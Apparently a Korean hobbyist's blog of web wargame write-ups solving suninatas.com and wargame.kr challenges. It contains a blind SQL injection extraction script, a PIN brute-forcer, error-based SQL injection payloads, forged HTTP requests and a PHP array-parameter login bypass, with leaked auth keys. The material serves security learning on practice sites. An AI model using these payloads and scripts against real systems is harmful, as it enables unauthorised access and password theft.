늘모자란, 개발

늘모자란, 개발


폼이고, 하드필터링 되어 있다

select / Union / or / white space / by / having 
from / char / ascii / left / right / delay / 0x ..........


힌트도 주어지는데


<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->



즉 guest를 이용하면 될것 같다

다음과 같이 쿼리를 작성해본다. (id칸에)

admin'-- a


pass칸엔 아무거나 적어도 된다. 그럼 친절하게도.. OK admin 하고 패스시켜준다. 이걸 이용해서 코드를 작성해보자

admin'and(len(pw)=10)-- a

하다보면 열자리란걸 알 수 있다. 이제 이걸로 블라인드를 걸어보자

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2
import time

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

string = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$^&*()-_+="

for i in range(1,10):
    for j in range(len(string)):
        data = "?id="
        data = data + urllib.quote("admin'and(substring(pw,{},1)='{}')-- a".format(i, string[j]))
        data = data + "&pw=1"
         req = urllib2.Request("http://suninatas.com/Part_one/web22/web22.asp" + data, '', headers)
         response = urllib2.urlopen(req)
         res = response.read()

         if "OK" in res:
             print string[j]
             break
         time.sleep(0.1)
2016/09/08 16:42 2016/09/08 16:42
브루트포싱 문제이다.
admin계정은 0~9999의 비밀번호중 하나를 사용한다고 한다.

그냥.. 숫자를 막 넣어주기만 하면 되는거니 간단하게 짜보자

import urllib, urllib2

headers = {'Host': 'suninatas.com',
           'Cookie': ''
        }

for i in range(10000):

    data = "id=admin&pw={}".format(str(i).zfill(4))
    print data
    req = urllib2.Request("http://suninatas.com/Part_one/web08/web08.asp", data, headers)
    response = urllib2.urlopen(req)

    if "Incorrect" not in response.read():
        print response.read()
        break



돌리다보면 나온다...
2016/09/08 16:24 2016/09/08 16:24
진짜 짜증났던 문제중하나인데.......... 아직도 어떻게 풀었는지 잘 모르겠다 ㅋㅋㅋㅋㅋㅋ
들어가면 대문짝만한 연예인사진들이 올라와있는데, 화면 중간쯤에 YES버튼이 있다. YES를 누르면 느리다고 다시하라고 한다.
새로고침해보려고 F5를 누르면 NO라고 한다. 키보드로 새로고침하지말라는거같은데 뭐 그것만 방법이 있는건 아니니..

일단 정공법은 다음과 같다.

document.href="http://suninatas.com/Part_one/web07/web07.asp";
frm.submit();


페이지를 새로 갱신 시킨이후에, 바로 폼을 submit하라는건데 진짜 잘안된다. 짜증만 난다.
그래서 나는 그냥 툴을 이용하기로 했다.

fiddler를 이용해서 두개 패킷을 묶은이후에 같이 replay시키면 바로 패스할 수 있다 (....)
2016/09/08 15:55 2016/09/08 15:55
여태까지가 몸풀기였다면 이제야 좀 문제같은 문제가 나온다

게시판 하나가 나오는데 대놓고 readme라고 나온다. 누르면 팝업이 하나 생성되고 쿼리가 보인다

"select szPwd from T_Web13 where  nIdx = '3' and szPwd = '"&pwd&"'"


1=1는 차단되있으므로 값을 TRUE로 만들어주기위해 다음과 같이 질의한다
(MSSQL에선 -- 를 적어주기만하면 안되고 뒤에 뭐라도 하나 적어줘야 한다. MSSQL맞겠지?;;)

' or 5>1 -- a


인증키가 나온다. 근데 정작 글은 못읽는다. 이게 뭐야..
이동된 URL을 보자.

http://suninatas.com/Part_one/web06/view.asp?num=3&passcode=[]


뭔가 나와는 있는데 안된다 이럴땐 보통 쿠키에 뭘 해놨을가능성이 높아 확인해보니,
auth%F5key라는 친구가 보인다. 당연히, 그대로 넣으면 안된다. 놀랍게도 게시판에 힌트가 있는데, 레퍼런스에 들어가면 md5로 인코딩하라고 친절히(...) 안내를 해준다

md5을 설정하고 들어가면 드디어 게시글을 읽을 수 있게 되는데 답은 안나와있다. 소스보기를 하면 폼 이름에 뭔가 있으니 그걸 이용해서 auth하면된다.
2016/09/08 15:42 2016/09/08 15:42
Check key value라고 적혀있고 아무것도 없는 폼이 하나 맞이해준다.

                        <script>
                            eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))        
                        </script>

<!--Hint : 12342046413275659 -->
<!-- M@de by 2theT0P -->


위와같이 난독화된 코드가 있는데 아무래도 핵심인듯 보인다.

deobfuscator 를 통해 스크립트를 살려내보자

var digitArray = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

function PASS(n) {
  var result = '';
  var start = true;
  for (var i = 32; i > 0;) {
    i -= 4;
    var digit = (n >> i) & 0xf;
    if (!start || digit != 0) {
      start = false;
      result += digitArray[digit]
    }
  }
  return (result == '' ? '0' : result)
}


위에 힌트도 있겠다, 함수에 값을 넣어 돌려보자. 문자열이 하나 나오는데 넣으면 Auth key가 나온다.
2016/09/08 15:33 2016/09/08 15:33
UA를 조작하는 문제이다. 들어가면 나의 UA가 나와있는데, 소스에 힌트가 나와 있다.

<!-- Hint : Make your point to 50 & 'SuNiNaTaS' -->
<!-- M@de by 2theT0P -->


그럼 UA를 조작해보자.

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 7
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


폼을 보내면 web04_ck.asp를 거치게 된다는걸 볼 수 있다. 골떄리는건 1씩오르질않는다. 50번 보내주자(-_-)
그 이후에 SuNiNaTaS로 UA를 바꿔서 질의한후 web04로 돌아가보자

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: SuNiNaTaS
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


그러면 Auth key가 등장한다.
2016/09/08 15:24 2016/09/08 15:24
풀면서 진짜 제일 황당했던 문제인데, 소스도 뭐고없다.



뭐 모르는게 있나하고 한참 찾아봤는데 그런게 아니었다. 이 문제의 요점은 그냥.. 흔히 발생할 수 있는 실수중하나를 알고 있냐는것이다
Notice Board란 바로 suninatas의 공지사항 보드를 의미한다.

바로 이곳
http://suninatas.com/board/list.asp?divi=notice


그런데 일반회원은 여기 글을 쓸 권한이 없다.
그렇다면 어찌해야할까? Q&A로 이동해서 write를 눌러보자

http://suninatas.com/board/write.asp?page=1&divi=Free


주소가 이렇게 바뀐다. 즉 write.asp에서 게시글을 작성한다는걸 알 수 있다.
주소를 살짝 바꿔보자

게시글을 쓸 수 있게 되고 아무 내용이나 쓰면 Auth key가 나온다
2016/09/08 15:18 2016/09/08 15:18
suninatas.com은 특이하게 아이프레임으로 소스를 넣어서 이동시키고 있다; 그래서 프레임소스보기로 소스를 봐야한다.
- 크롬에는 디폴트로 존재하지만 파이어폭스에선 따로 없어서 좀 불편하다.

문제2번은 폼을 패스하는 문제인데, 핵심 소스는 다음과 같다

<script>
    function chk_form(){
        var id = document.web02.id.value ;
        var pw = document.web02.pw.value ;
        if ( id == pw )
        {
            alert("You can't join! Try again");
            document.web02.id.focus();
            document.web02.id.value = "";
            document.web02.pw.value = "";
        }
        else
        {
            document.web02.submit();
        }
    }
</script>
<!-- Hint : Join / id = pw -->
<!-- M@de by 2theT0P -->


그러니까, chk_form을 패스하라는건데, 이건 그냥 폼 액션 주소를 따서 id와 pw를 같게 만들어서 보내주면 된다.

POST http://suninatas.com/Part_one/web02/web02.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 9
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web02/web02.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

id=1&pw=1


뭐 대략 이런느낌이다.
2016/09/08 15:13 2016/09/08 15:13
요새 못풀고 끙끙거리는 문제가 하나 있는데, 그것만 하다가 머리도 식힐겸 간단히 풀어보기로 했다.
웹 문제가 열문제밖에 없는 곳인데, 나는 리버싱 이런건 아직 잘 못하니까.. 열개만 풀어보기로 했다.
사실, writeup 이라고 하긴 좀 그런게 이미 문제는 다 풀었다. 결국 블로그에 쓰기위해 다시 푸는셈이다..ㅋㅋㅋ

<%
    str = Request("str")

    If not str = "" Then
        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2
        Response.write result
        If result = "admin" Then
            pw = "????????"
        End if
    End if
%>


suninatas 는 아무래도 iis 기반의 asp를 기반으로 하는듯 보인다. 첫번쨰 문제는 문자열을 이용한 문제인데 최종 완성되는 결과를 admin으로 만들어야한다.

문제에서 result1과 result2 로 문자열을 나누는데 이것들은 substr을 의미하는것이다. 결과적으로, result에 들어가는 aad로 replace되는값은 별로 신경쓰지 않아도 된다. (a하나만 넣어도 ad가 완성된셈)

그럼 남은 글자는 min인데 m은 어딜봐도 솟아날 구멍이 없다. 그래서 넣어주고, i는 in이 된다고 하니,

ami를 입력한다.
2016/09/08 15:05 2016/09/08 15:05
아마 wargame.kr의 마지막 웹 문제 아닐까?

무려 1300점짜리의 error based sqli 문제라고 한다.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
     exit();
 }
 include("./inc.php"); // database connect.
 include("../lib.php"); // include for auth_code function.

 ini_set('display_errors',false);

 function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
 function uniq($data){ return md5($data.uniqid());}
 function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
 function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
 function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
 function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
 function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };

 if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
  err("Parameter Error :: missing");
 }

 $id=mysql_real_escape_string($_POST['id']);
 $ps=mysql_real_escape_string($_POST['pw']);
 $type=mysql_real_escape_string($_POST['type']);
 $ip=$_SERVER['REMOTE_ADDR'];

 sleep(2); // not Bruteforcing!!

 if($id!=$ip){
  err("SECURITY : u can access with allotted id only");
 }

 $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
 if($row[0]!=1){
  if(false === make_id($id)){
   err("DB Error :: create user error");
  }
 }
 
 $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
 $log_count = (int)$row[0];
 if($log_count >= 4){
  pw_change($id);
  count_init($id);
  err("SECURITY : bruteforcing detected - password is changed");
 }
 
 t_table($id); // don`t access the other account

 if(preg_match("/all_user_accounts/i",$type)){
  err("SECURITY : don`t access the other account");
 }

 counting($id); // limiting number of query

 if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
  err("DB Error :: ".mysql_error());
 }

 $row=mysql_fetch_array($result);
 
 if(empty($row['user_id'])){
  err("Login Error :: not found your `user_id` or `password`");
 }

 echo "welcome <b>$id</b> !! (Login count = $log_count)";
 
 $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");

 if($row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"; }

?>


PHP 에러는 display_errors 가 false이므로 나오지 않을것이고,
err는 자바스크립트로 나오게 될 것 같다. 파라미터 id,pw,type은 반드시 필요하고..

id = ip 는 고정값으로 피할 수 없어보인다. ps는 답을 입력하는 칸으로 보이니 자연스럽게 type이나 ps를 이용해 공격을 해야될 것으로 보인다.
mysql_real_escape_string 되어 있으니 특문도 전부 이스케이프 처리되어 쓸 수 없을 것이다. 그리고 zairo처럼 로그인카운트를 세는데, 4번이 넘어가면 패스워드를 바꿔 버린다. 여기를 피해갈 방법은 딱히 안보인다.

훑어보면
false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"


이부분이 문제다. 쿼리가 esacape되고 있는 가운데 ''로 처리 안되있으니 type이 공격포인트인거 같다.
그래서 이런식으로 꾸며서 보냈더니 에러가 반환되었다.

type = urllib.quote("1; select ps from t_user")


<script>alert("DB Error :: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select ps from t_user' at line 1");window.location.href='./';</script>


몇차례 더 해봤는데 정확히 틀린부분만 날아온다.
이 상태에서 좀 바꿔서 날려봤는데, 에러가 값을 출력하는 공격을 수행해야 된다고 한다.
링크에 따르면 예시 공격법이 있다. floor등을 사용해야 된다는데 잘 이해가 안되지만 일단 그대로 따라해보기로한다.

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables;
+--------+---------+
| sum(5) | a       |
+--------+---------+
|   4970 | 5.7.170 |
+--------+---------+
1 row in set (0.01 sec)

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

옛날 adm1nkjy 였나 kjy 였나 여튼 그걸 풀때랑 비슷한 것 같다. 요점은 같은걸 만들어야 된다는것 같으니 비슷하게 쿼리를 짜보기로 한다.
타게팅할 테이블과 컬럼은 이미 알고있는 상태니까 (t_user와 ps) 그렇게 꾸겨넣어보기로 하자

type = urllib.quote("1 or (select sum(5),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1)")


그랬더니 에러가 다르게 나타났다.

<script>alert("DB Error :: Operand should contain 1 column(s)");window.location.href='./';</script>


찾아보니 부정확한 수의 컬럼이 리턴될때 발생한단다.
쭉 나열해보면

select ps from t_user where user_id='$id' and ps='$ps' and type=1 or (select count(*),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1) 


인건데.. count(*)가 있으니 컬럼이 두개가 되버리는 모양같아 sum(5), 를 제거 했더니 

<script>alert("Login Error :: not found your `user_id` or `password`");window.location.href='./';</script>


가 리턴된다. 그러니까, 저 친구는 필요한 친구인가보다..
그럼 하나를 자르던가 늘리던가 해야되는데 너무 막연해서 구글 검색중에 이런걸 발견했다.

select * from users where (SELECT * from users)=(1,2);


적는와중에도 무슨 뜻인줄 모르겠다. 어쨌든, 1,2 를 하니까 같은 에러가 나와서 1,1 과 0,1를 적었을때 같은 값을 얻을 수 있었다.

<script>alert("DB Error :: Duplicate entry '8d4b1b72abc78cd8226cb44168eff3df1' for key 'group_key'");window.location.href='./';</script>


띠용.. 뭔가 나왔다. ps를 넣고 다했다고 생각했는데 이게 왠일? 안된다.
몇번이고 해봐도 안된다. 가만 생각해보니 인포메이션 스키마에서 긁어봐야 원하는 값이 나올리가 없다고 생각해서, 테이블을 t_user 로 바꿨다가도 해보고, login_count 테이블로 바꿔서 시도를 해봤더니,

임시 테이블은 다시 열수 없다와,
다음과 같이 login count를 세는 친구가 나타났다

welcome <b></b> !! (Login count = 0)


하지만 에러를 일으킨게 어느 시점인지 알수가 없었다. 그냥 돌리다보니 막 나와서 종잡을수가 없었는데..
여러가지 시도를 계속 해보았다. 너무 삽질의 연속이었으니까 패스하고..

번외
이 문제는 error based 공격과 무관하게 이 공격방법에 의해 깨어질 수 있었다
pw를 0으로 보내고, 배열을 만들어 검사를 회피하면된다. 아주 간단히 공격이 성공하는 취약점(-_-)이 있었다
요컨데

id=[USERIP]&ps[]=0&type=2 or 1=1


이런식으로 보내면 ps의 검사에 있어 empty값을 비교하기때문에 일치해 문제를 패스할 수 있다
하지만 이 구문에 의해 패치되었다.

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");


PHP는 배열로 POST값을 넘기는것을 허용하고 있기때문에, 반드시 2차적인 처리가 필요함을 명시하는 문제이다 (이 문제에서 얻을 교훈은 아닌가?)

======

2017.05.19

좀 삽질이 많았으나 위는 그냥 과정이고, 문제를 다시 정리하면 우리에겐 3번의 기회가 있고 4번째는 리셋이다

왜 이걸 간과했는지는 잘 모르겠으나.. error based 공격은 두개의 결과가 같이 나타난다. 즉, ps로 나오는 값은 ps가 아니라, count(*) 의 값도 포함하고 있다는 것이다. 즉, 맨뒤의 1은 ps 그냥 count(*) 된 값으로 제거해야 되는 값이었다 ㅡㅡ

다음은 해결 소스... 

#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

id = "Your IP"
pw = urllib.quote("12345")
type = "1 or (row(1,1) > (select count(*),concat(ps,floor(rand(0)*2))as a from login_count where id=0x{} group by a order by 2)) # ".format(id.encode('hex'))
#type = "1 or (user_id=0x{}) #".format(id.encode('hex'))
pw = urllib.quote("884afd94b647d1436b7e188eb1fbe58f")
data = "id={0}&pw={1}&type={2}".format(id, pw, type)

print data
req = urllib2.Request("http://wargame.kr:8080/counting_query/login_ok.php", data, headers)
response = urllib2.urlopen(req)
res = response.read()
print res


요점은, duplicate 가 일어난 시점에서 가장 뒤의 1을 제거 해주고, type을 그대로 쓰는게 아니라 어드민의 1을 적어주고 아이디를 넣어줘서 정상적인 리퀘스트로 보내야 문제 풀이가 완료된다. 풀고나니 참 허망한 문제로다....

길다 길었어
welcome <b></b> !! (Login count = 3)<h2>wow! auth key is : 3977b3304f38461ce31c67c4d9a208e836814db6</h2>
2016/06/22 05:02 2016/06/22 05:02